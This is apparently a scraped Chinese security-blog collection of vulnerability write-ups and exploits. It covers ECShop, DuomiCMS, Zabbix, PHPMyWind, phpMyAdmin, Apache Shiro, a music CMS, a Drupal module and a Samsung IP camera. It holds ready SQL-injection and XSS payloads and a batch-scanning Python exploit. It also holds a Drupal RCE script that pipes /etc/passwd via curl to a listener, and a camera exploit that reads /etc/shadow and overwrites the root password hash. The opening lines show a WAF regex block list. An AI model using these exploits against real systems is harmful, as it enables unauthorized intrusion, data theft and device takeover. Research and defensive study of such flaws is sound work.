'sql'=>"[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)",
'other'=>"\\.\\.[\\\\\\/].*\\%00([^0-9a-fA-F]|$)|%00[\\'\\\"\\.]");

所以请算起相当的鸡肋了。
漏洞文件admin/shophelp.php

if ($_REQUEST['act'] == 'update')
{
    /* 权限判断 */
    admin_priv('shophelp_manage');

    /* 检查重名 */
    if ($_POST['title'] != $_POST['old_title'] )
    {
        $exc_article->is_only('title', $_POST['title'], $_LANG['articlename_exist'], $_POST['id']);
    }
    /* 更新 */
    if ($exc_article->edit("title = '$_POST[title]', cat_id = '$_POST[cat_id]', article_type = '$_POST[article_type]', content = '$_POST[FCKeditor1]'", $_POST['id']))
    {
        /* 清除缓存 */
        clear_cache_files();

        $link[0]['text'] = $_LANG['back_list'];
        $link[0]['href'] = 'shophelp.php?act=list_article&cat_id='.$_POST['cat_id'];

        sys_msg(sprintf($_LANG['articleedit_succeed'], $_POST['title']), 0, $link);
        admin_log($_POST['title'], 'edit', 'shophelp');
    }
}

只是需要post进去的title跟old_title不一致,就进入了is_only的处理,继续跟下函数is_only
admin\includes\cls_exchange.php

function is_only($col, $name, $id = 0, $where='')
    {
        $sql = 'SELECT COUNT(*) FROM ' .$this->table. " WHERE $col = '$name'";
        $sql .= empty($id) ? '' : ' AND ' . $this->id . " <> '$id'";
        $sql .= empty($where) ? '' : ' AND ' .$where;

        return ($this->db->getOne($sql) == 0);
    }

对其中对$id没有做任何处理,直接就导致了注入。好吧,其实采用这个函数的都存在这个问题
1

1
查看执行的语句
1
仔细查看了下,发现updatexml貌似没有在其中,所以还是可以继续出内容的
1
2

微窗cms最新版任意代码执行漏洞分析

$
0
0

漏洞分析

漏洞触发点其实是string2array()这个函数造成的,先来看一下这个函数体:

可以看到其中有个eval(),那么意思是我们只要能够控制住$data这个变量,那么就可以任意代码执行了。

在/addons/vip/site.php中第1245行:

可以看到这里有一个更新表的操作:

if ($this->ddb->update(table(‘vip_content’), array($type=>$val), array(‘id’=>$id))

这里的$type和$val都是通过POST传进来的,是我们可以控制的,那么就是说我们可以自由更新vip_content这张表的任意字段的值。

同样在/addons/vip/site.php中的第470行:

在这里我们可以看到对$row[“setting”]这个变量使用了string2array()这个函数,而这个$row[“setting”]的值是表vip_content中setting的值,但是从上文得知,我们可以更新表vip_content中任意字段的值,所以我们可以控制$row[“setting”],那么就可以造成任意代码执行了。

漏洞利用

首先我们注册一个账号并登录,然后到首页去创建一个公众号/服务窗,然后选择会员卡选项,如图所示:

1[1]

然后选择特权管理->发布会员特权,如图所示:

2[1]

然后标题和使用说明随便写,有效日期随便写,会员类型随便勾,如图所示:

3[1]

接着提交就可以了,然后我们开始更新vip_content表中的setting字段的值,编辑我们发布的特权:

4-1024x104[1]

这个时候需要记下url上的信息,例如我本地的是http://localhost/vwins/index.php/web/vip/privilegerelease/3/?ui=2&al=1&uf=5,我们需要记下的就是privilegerelease/3/? 中间的那个数字,我这里是3,这个就是信息在数据库中的id号,待会我们需要用到。

然后将这个url改一下,只需要将privilegerelease替换成editval就可以了。然后我们访问payload:

http://localhost/vwins/index.php/web/vip/editval/3/?ui=2&al=1&uf=5

POST: id=3&dosubmit=1&type=setting&val=array(1=>2);phpinfo()

这里的id就是上一步记下的id号。更改完后,我们回到特权列表,再次编辑我们发布的特权,可以发现,phpinfo()已经执行:

5-1024x413[1]

Ecshop 3.0 flow.php SQL注射漏洞

$
0
0

关于这个漏洞是新版本修复了。下载了古老的版本对比才发现的。只是怎么也没有想到ecshop也会犯这种低级的错误。
好吧,文件flow.php

elseif ($_REQUEST['step'] == 'repurchase') {
    include_once('includes/cls_json.php');
    $order_id = strip_tags($_POST['order_id']);
    $order_id = json_str_iconv($order_id);
    $user_id = $_SESSION['user_id'];
    $json  = new JSON;
    $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
    if (!$order) {
        $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        die($json->encode($result));
    }

    $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
    $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
    $result = array('error' => 0, 'message' => '');
    foreach ($order_goods as $goods) {
        $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
        if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
            $result = false;
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        }
    }
    die($json->encode($result));
}

这里的参数并非是新版的$order_id = intval($_POST[‘order_id’]);

elseif ($_REQUEST['step'] == 'repurchase') {
    include_once('includes/cls_json.php');
    $order_id = intval($_POST['order_id']);
    $order_id = json_str_iconv($order_id);
    $user_id = $_SESSION['user_id'];
    $json  = new JSON;
    $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
    if (!$order) {
        $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        die($json->encode($result));
    }

    $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
    $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
    $result = array('error' => 0, 'message' => '');
    foreach ($order_goods as $goods) {
        $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
        if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
            $result = false;
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        }
    }
    die($json->encode($result));
}

继续查看json_str_iconv

function json_str_iconv($str)
{
    if (EC_CHARSET != 'utf-8')
    {
        if (is_string($str))
        {
            return addslashes(stripslashes(ecs_iconv('utf-8', EC_CHARSET, $str)));
        }
        elseif (is_array($str))
        {
            foreach ($str as $key => $value)
            {
                $str[$key] = json_str_iconv($value);
            }
            return $str;
        }
        elseif (is_object($str))
        {
            foreach ($str as $key => $value)
            {
                $str->$key = json_str_iconv($value);
            }
            return $str;
        }
        else
        {
            return $str;
        }
    }
    return $str;
}

这里显然没过滤了 再看看上面的SQL语句 居然没有单引号包含 这样就能直接注射了
POST提交一下内容到 http://localhost/flow.php?step=repurchase

order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#

1
一个post包

POST /flow.php?step=repurchase HTTP/1.1
Host:?127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: ECS[visit_times]=2; ECS_ID=1998571d464009d432a17951ee5852104eba8b75
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
 
order_id=1*

附上野生payload一枚

import requests as req
import optparse

def poc(url):
    xode='MySQL server error report:Array'
    url=url+'/flow.php'
    try:
        rgg=req.get(url)
        
    except:
        return '[-]Getting '+url+' Wrong'
        
    if rgg.status_code !=200:
         return '[-]'+url+' Wrong'
  
    geturl=url+'?step=repurchase'
    payload='order_id=1 or updatexml(1,concat(0x7e,(user())),0) or 11#'
    a=req.post(geturl,data=payload)
  
    if a.status_code==200:
   
        if xode in a.text:
            return 2
        else:
          
            return '[-]'+url+'Exploiting Fail'
            
    else:
        return '[-]'+url+' Fail!!'

def ifhttp(url):
    if 'http://' in url:
        return url
    else:
        return 'http://'+url
def r(filename):
    try:
        ff= open(filename).readlines()
    except:
        print'[-] The file is not exist'
        exit(0)
    return ff
def w(url):
    f=open('Res.txt','a+')
    f.write(url+'\n')
    f.close
if __name__=='__main__':
    parser = optparse.OptionParser('usage%prog -u <url> -r <file>')
    parser.add_option('-u', dest='url', type='string', help='the website')
    parser.add_option('-r', dest='file', type='string', help='the file')

    (options, args) = parser.parse_args()
    url = options.url
    
    f=options.file
    if options.url == None and f==None:
        print(parser.usage)
        exit(0)
    if options.url!=None:
        url=ifhttp(url)
        r=poc(url)
        if r==2:
            print '[+]'+url+' succeed'
            w(url)
        else:
            print r
    if f!=None:
         for fff in r(f):
             b=fff.strip('\n')
             r=poc(ifhttp(b))
             if r==2:
                print '[+]'+b+' succeed'
                w(b)
             
             else:
             
                 print r

多米CMS最新版1.3版本注入

$
0
0

漏洞文件member/mypay.php(14-40行)

if(empty($_SESSION['duomi_user_id'])){
    showMsg("请先登录","login.php");
    exit();
}
elseif($dm=='mypay'){
    $key=$_POST['cardkey'];
    if($key==""){showMsg("请输入充值卡号","-1");exit;}
    $pwd=$_POST['cardpwd'];
    if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
    $sqlt="SELECT * FROM duomi_card where ckey='$key'";
    $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
       $row1 = $dsql->GetOne($sqlt);
    if(!is_array($row1) OR $row1['status']<>0){
        showMsg("充值卡信息有误","-1");exit;
    }else{
        $uname=$_SESSION['duomi_user_name'];
        $points=$row1['climit'];
        $dsql->executeNoneQuery("UPDATE duomi_card SET    usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
        $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
        $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
        showMsg("恭喜!充值成功!","mypay.php");exit;
    }
}
else
{

此处的”cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):

http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1

1

Apache Shiro Java 反序列化漏洞分析

$
0
0

Author: rungobier (知道创宇404安全实验室)

0x00 概述

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为550的 issue 中爆出严重的 Java 反序列化漏洞。下面,我们将模拟还原此漏洞的场景以及分析过程。

0x01 漏洞场景还原

首先,需要获取 Apache Shiro 存在漏洞的源代码,具体操作如下:

为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml 文件,添加如下行:

修改完成 pom.xml 文件后,开始使用 mvn 进行存在漏洞环境的 war 包进行编译,若中间出现很慢或卡死的情况,需要如何处理你懂的。

最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat, 在浏览器当中输入 http://localhost:8080/shiro 可以看到登录页面,如下图:

1-1-1024x547[1]

 

其次,我们需要产生payload的 ysoserial ,执行下列命令,可以获取到需要的 jar 文件:

0x02 漏洞分析

从官方的 issue 上来看,存在几个重要的点:

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密钥硬编码
  • Java serialization

首先,我们从正常登录返回的 cookie 中获取到 remeberMe 的值如下:

使用 Base64 解码存储为二进制文件后,内容如下:

从这些内容中没有看到有明确的 Java 序列化特征字,因为上述关键字当中提到了 AES 和 加密密钥硬编码,所以需要去跟一下源码。打开 CookieRememberMemanager.java 文件并没有找到硬编码的加密密钥,继续跟它的父类 AbstractRememberMeManager 看到了如下几行:

目前可以断定 Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”) 就是我们要找的硬编码密钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥。

除了密钥,还有两个必要的属性,一个是 AES 中的 mode(加解密算法),另外一个是 IV(初始化向量),继续查看 AbstractRememberMeManager 的代码, 在它的方法 encrypt 中看到如下语句:

其中 CipherService 是个接口,而实现这个接口的是一个抽象类 JcaCipherService,在它的成员函数 initNewCipher 中下断点,可以看到我们需要的几个关键信息: AES 的 mode 为 CBC, IV是随机生成的,但是偶然发现这个IV并没有真正使用起来。

那么利用上述获取到的信息,对 Base64 解码后的文件进行解密操作,解密 Python 代码如下:

解密后的文件内容如下:

OK,看到第二行打头的 ac ed 00 05了吗? 这是 Java 序列化的标志,说明解密成功。那么文件第一行是什么呢?我们继续来跟 JcaCipherService 这个类,看它的一个加密函数 encrypt :

可以看出这个加密函数是先将 IV 写入,然后再加密具体的序列化对象的字节码,这样 IV 值我们可以直接通过读取第一行(16个字节,128位)获得了。

这里还需要跟进一个重要的东西,就是加密的序列化对象,回到 CookieRememberMeManager 的父类 AbstractRememberMeManager , 上面贴出的 encrypt 中有个 serialized 的字节数组,这个字节数组是从哪里来的呢?在这个类中直接调用这个方法的是 convertPrincipalsToBytes :

可以看出序列化对象是 PrincipalCollection ,但是这个类是个接口,看了下实现它的类是 SimplePrincipalCollection 对象。 在它的代码当中,可以发现关键的两个方法: writeObject 和 readObject.

最后,具体的 Payload 也就呼之欲出了,代码如下:

将上述代码保存为 /tmp/create_payload.py, 执行如下命令:

运行结果如图:

2[1]

 

 

到这里就结束了吗?其实还没有,因为我们现在还没有找到具体的反序列化触发点在哪里。现在利用这个 payload 进行触发,并下断点,断点设置在前面所述的 AbstractRememberMeManager,具体的函数如下:

这里断点我下在了 principals = convertBytesToPrincipals(bytes, subjectContext); 上,进行跟踪调试,最终的反序列化落在了 DefaultSerializer 类的 deserialize 的函数里,具体的函数细节如下:

看到那个令人激动的 readObject 了吧,至此收工,结束。

0x03 漏洞修复

升级 Shiro 版本至 1.2.5 以上

0x04 参考


preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞

$
0
0

天融信阿尔法实验室 李喆

这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞,漏洞在exploit-db上有利用脚本,经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。

0×01 漏洞触发原理

preg_replace漏洞触发有两个前提:

01:第一个参数需要e标识符,有了它可以执行第二个参数的命令

02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:

 

//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 这两种没有匹配上,所以返回值是第三个参数,不会执行命令

0×02 触发漏洞位置回溯

cve-2016-5734的漏洞问题出现在TableSearch.class.php中的_getRegexReplaceRows函数,让我们看看这个函数:

1-my[1]

 

$find ,和 $replaceWith可以看到在preg_replace中被引用,让我们回溯这两个变量,在getReplacePreview中有调用_getRegexReplaceRows函数

2-my[1]

 

继续回溯,在tbl_find_replace中有调用getReplacePreview,同时参数是post传入,下面让我们看看如何利用构造

3-muy[1]

 

0×03构造利用

漏洞利用思路:这个漏洞目前没法直接利用,因为有token限制,需要登陆抓到token,同时需要构造第三个参数保证和第一个参数匹配上,第一个参数可控,但是第三个参数是从数据库中取出的,所以只能提前插入到数据库中,然后再取出来,columnIndex是取出字段值的可控,所以第三个参数也可控了。

 

流程大概走了一圈,下面看看怎么构造,首先这个漏洞需要有创建表插入字段权限的账号,这里直接用的root账号测试的,先创建个表,然后表中插入个字段值为“0/e”

4-my[1]

 

所以利用构造大概就是这样

 

//$find = ’0/e’;
//$fromsqldata = ’0/e’;
//echo preg_replace(“/”.$find.”\0/”,$_POST["replaceWith"],$fromsqldata);

组合后是这样//preg_replace(‘/0/e’,’phpinfo()’,’0/e‘);,这样漏洞就构造好了。

总结:这个pre_replace引发的漏洞在4.3.0和5.4.6中能触发,4.7后就不行了。phpmyadmin在4.6.3中修复了这个漏洞,所以要尽快升级。

耳朵音乐CMS 免认证登录

$
0
0

漏洞版本20160723,官方于今天修复了该漏洞。
0x01:漏洞分析
在文件 admin.php 第四行:

$frames = array('login', 'index', 'body', 'config'....);
  $iframe = !empty($_GET['iframe']) && in_array($_GET['iframe'], $frames) ? $_GET['iframe'] : 'login';
  include_once 'source/admincp/module/'.$iframe.'.php';

变量 $iframe 通过 GET 方式获取值,如果 iframe 的值不在数组 frames 里就定向到 “login.php”。我们以 “config.php” 为例,当传入参数 “?iframe=config” 时将包含文件 “source/admincp/module/config.php”,跟进该文件从第二行可以看到如下代码:

if(!defined('IN_ROOT')){exit('Access denied');}
    Administrator(2);
    $action=SafeRequest("action","get");

跟进函数 “Administrator”,在 “source/admincp/include/function.php” 第三十九行定义了 “Administrator”:

function Administrator($value){
        if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
            ShowMessage("未登录或登录已过期,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
        }
        setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
        if(!empty($_COOKIE['in_permission'])){
            $array=explode(",",$_COOKIE['in_permission']);
            $adminlogined=false;
            for($i=0;$i<count($array);$i++){
                if($array[$i]==$value){$adminlogined=true;}
            }
            if(!$adminlogined){
                 ShowMessage("权限不够,无法进入此页面!","?iframe=body","infotitle3",3000,0);
            }
        }else{
            ShowMessage("帐号异常,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
        }
    }

这段代码通过 cookie 验证登录用户信息,将 “in_adminid”,”in_adminname”,”in_adminpassword”,”in_permission” 拼接在一起 MD5 后与 “in_adminexpire” 的值比较,左右两值相等就通过验证,再通过 “in_permision” 验证该用户是否有本页面权限。在数组 “frames” 中的页面都没有通过数据库验证用户信息,因为 cookie 我们是可控的所以我们很容易绕过它的验证方式。以 “config.php” 为例,先进入 “http://xxx.xxx.xxx.xxx/qwyy/admin.php” (这步我也不知道为什么要这样,直接进入 “http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config”不能成功 QAQ,改了 Refer 也不行):这时候我们没有保存cookie,页面将会跳转到 “login.php”:
1
再次登录 “http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config” 用 burpsuit 截取数据包修改 cookie 为:

in_adminid=2;in_adminname=test;in_adminpassword=test;in_permission=1,2,3,4,5,6,7,8,9;in_adminexpire=b2e9b95b82be9264c3368b3f0de34f08

截图结果显示我们成功绕过验证并登录到 “config.php”,利用此方法可以登录到 “config.php”,”backup.php”,”index.php”等页面进行文件上传,数据库备份以及其他危险操作:
1
Author:LionEiJonson

ZABBIX SQL注入

$
0
0

zabbix是一个开源的企业级性能监控解决方案。

官方网站:http://www.zabbix.com

zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

1.无需登录注入

/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

Result
1

2.需要登录注入

latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

Result:

SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
latest.php:746 → require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185

phpmywind_5-3存储型xss

$
0
0

PHPMyWind_5.3/message.php (25-41)

$r = $dosql->GetOne("SELECT Max(orderid) AS orderid FROM `#@__message`");
        $orderid  = (empty($r['orderid']) ? 1 : ($r['orderid'] + 1));
        $nickname = htmlspecialchars($nickname);//游客(xxx)
        $contact  = htmlspecialchars($contact); //联系方式
        $content  = htmlspecialchars($content); //留言内容
         
        $posttime = GetMkTime(time());
        $ip       = gethostbyname($_SERVER['REMOTE_ADDR']);
     
     
        $sql = "INSERT INTO `#@__message` (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')";
        if($dosql->ExecNoneQuery($sql))
        {
            ShowMsg('留言成功,感谢您的支持!','message.php');
            exit();
        }
    }

可以看出使用htmlspecialchars进行过滤,带入库中.
跟进content参数。
PHPMyWind_5.3/admin/message_update.php

<?php require_once(dirname(__FILE__).'/inc/config.inc.php');IsModelPriv('message'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>修改留言</title>
<link href="templates/style/admin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="templates/js/jquery.min.js"></script>
<script type="text/javascript" src="templates/js/checkf.func.js"></script>
<script type="text/javascript" src="editor/kindeditor-min.js"></script>
<script type="text/javascript" src="editor/lang/zh_CN.js"></script>
</head>
<body>
<?php
$row = $dosql->GetOne("SELECT * FROM `#@__message` WHERE `id`=$id");
?>
<div class="formHeader"> <span class="title">修改留言</span> <a href="javascript:location.reload();" class="reload">刷新</a> </div>
<form name="form" id="form" method="post" action="message_save.php">
    <table width="100%" border="0" cellspacing="0" cellpadding="0" class="formTable">
        <tr>
            <td width="25%" height="40" align="right">用户名:</td>
            <td width="75%"><strong><?php echo $row['nickname'] ?></strong></td>
        </tr>
        <tr>
            <td height="40" align="right">联系方式:</td>
            <td><input type="text" name="contact" id="contact" class="input" value="<?php echo $row['contact'] ?>" /></td>
        </tr>
        <tr>
            <td height="198" align="right">留言内容:</td>
            <td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>
                <script>

p:33

<td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea>

后台直接取出content参数,数据并未进行转义操作。
PHPMyWind_5.3/shoppingcart.php 留言板地址
以ing开头(可以是其他)

"><img/src=x onerror=alert(2001)><"'

1
admin/message.php
需要点击修改才可以弹XSS
如果管理员留言需要前台显示(或者回复)就必须点击修改。
11

Author:小雨@90sec

Drupal Module Coder < 7.x-1.3 / 7.x-2.6 - Remote Code Execution Exploit (SA-CONTRIB-2016-039)

$
0
0

具体的分析过程。https://www.exploit-db.com/docs/40244.pdf

<?php

# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
#
# E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5

$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";

$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

?>

相关的msf利用代码https://github.com/rapid7/metasploit-framework/pull/7115/files
1

三星智能监控摄像头被爆远程代码执行漏洞(含POC)

$
0
0

from:安全客

t01febe10192e3f58a7[1]

前言


目前,绝大多数安全研究专家在对物联网设备进行漏洞研究时,都将研究重点集中在了如何利用这些漏洞来展开网络攻击。很少有人知道如何去修复这些安全问题,而且也几乎没人关心如何才能防止这些设备继续遭受攻击。为此,我们专门对一款IP监控摄像头进行了分析,并发现了很多小问题。而将这些安全问题联系在一起,我们就能够获取到目标设备的root访问权限了。虽说它们都是一些小问题,但是修复起来却非常的困难。所以我们认为应该专门写一篇关于如何发现并修复物联网设备漏洞的文章。

我们的研究对象是三星的一款室内IP监控摄像头-SNH-6410BN。如果单纯从质量和功能性的角度来考察,那么这款摄像头没有任何的问题,因为它的拍摄清晰度非常高,而且三星还为其配备了非常优秀的应用软件。但是,它是一款IP摄像头,所以网络安全的问题就成为了它的一块短版。

通常情况下,用户会使用移动端应用程序或者网站提供的“云服务”来远程访问摄像头。但是这款摄像头使用的仍是SSH,而且还有专门与之对应的Web服务器。这就是我们测试的切入点。因为Web服务器只支持HTTP协议,而不支持使用HTTPS协议。

漏洞利用代码

# E-DB Note: source ~ https://www.pentestpartners.com/blog/samsungs-smart-camera-a-tale-of-iot-network-security/
  
import urllib, urllib2, crypt, time
  
# New password for web interface
web_password       = 'admin'
# New password for root
root_password  = 'root'
# IP of the camera
ip           = '192.168.12.61'
  
# These are all for the Smartthings bundled camera
realm = 'iPolis'
web_username = 'admin'
base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'
  
  
# Take a command and use command injection to run it on the device
def run_command(command):
       # Convert a normal command into one using bash brace expansion
       # Can't send spaces to debugcgi as it doesn't unescape
       command_brace = '{' + ','.join(command.split(' ')) + '}'
       command_url = base_url + command_brace
  
       # HTTP digest auth for urllib2
       authhandler = urllib2.HTTPDigestAuthHandler()
       authhandler.add_password(realm, command_url, web_username, web_password)
       opener = urllib2.build_opener(authhandler)
       urllib2.install_opener(opener)
  
       return urllib2.urlopen(command_url)
  
# Step 1 - change the web password using the unauthed vuln found by zenofex
data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)
  
# Need to sleep or the password isn't changed
time.sleep(1)
  
# Step 2 - find the current root password hash
shadow = run_command('cat /etc/shadow')
  
for line in shadow:
       if line.startswith('root:'):
              current_hash = line.split(':')[1]
  
# Crypt the new password
new_hash = crypt.crypt(root_password, '00')
  
# Step 3 - Use sed to search and replace the old for new hash in the passwd
# This is done because the command injection doesn't allow a lot of different URL encoded chars
run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')
  
# Step 4 - check that the password has changed
shadow = run_command('cat /etc/shadow')
  
for line in shadow:
       if line.startswith('root:'):
              current_hash = line.split(':')[1]
  
if current_hash <> new_hash:
       print 'Error! - password not changed'
  
# Step 5 - ssh to port 1022 with new root password!

问题一

问题描述:用户在访问设备时,网络通信数据并没有进行传输加密处理,所以用户的凭证和数据在传输的过程中,安全性无法得到任何保障,攻击者可以随意拦截并篡改用户数据。

解决方案:在信息传输的过程中,尽可能地使用安全协议,并为每一台设备分配随机密钥。

Web接口只使用了一个“私人密钥”来提供基本的安全保障。这个“私人密钥”只是一个密码口令,缺少与之对应的用户名。

问题二

问题描述:由于只提供了一个用于访问Web服务的用户账号,这也就意味着攻击者一旦破解了这一账号,他就能够获取到用户功能的完整控制权。

解决方案:为设备部署细粒度的访问控制机制,对用户权限进行划分。这样一来,即便一个普通的账号被攻击了,也不会导致设备彻底被攻击者控制。

当用户首次连接设备时,用户需要设置一个密码。虽然Web接口提供了这一功能,但是产品说明中并没有提及到,所以用户基本上都会直接忽略这一步操作。

问题三

问题描述:如果用户没有意识到产品提供了相应的Web接口,那么攻击者就可以连接设备,并设置访问密码,然后得到设备的完整控制权。

解决方案:禁用那些平时不会用到的功能,但是当用户需要开启某些很少使用的功能时,可以很方便地开启。

在2014年,Exploitee.rs的Zenofex(@Zenofex)在三星的另一款摄像头产品中发现了一种能够重置“私人密钥”的方法。尽管他已经将该问题报告给了三星公司,但是这一新款的摄像头产品中仍然存在相同的漏洞。

这个漏洞存在于/classes/admin_set_privatekey.php文件之中。这段代码可以为用户设置新的“私钥”,但是代码并不会检测系统此前是否已经设置过“私钥”了。所以攻击者就可以随意修改目标设备的“私钥”。

下面这部分PHP代码段即为系统用于设置“私钥”的初始代码:

t010b00c46275833313[1]

对比下面这段系统用于修改“私钥”的代码段,其中的检测代码在下图中用红色的字体标出:

t01c7973ba8e7576964[1]

因此,我们只需要向IP摄像头发送一个简单的请求,就可以重置其访问私钥了:

t01bed9dbedd983c7af[1]

这样一来,我们就可以跟普通用户一样去访问设备的Web接口了。但是这只是我们的第一步,我们的最终目标是得到root shell。

问题四

问题描述:未经身份验证的攻击者可以重置摄像头,并获取到摄像头的控制权。

解决方案:确保摄像头的重要功能都有相应的授权控制来进行保护,而且授权控制机制中不存在逻辑错误等问题。

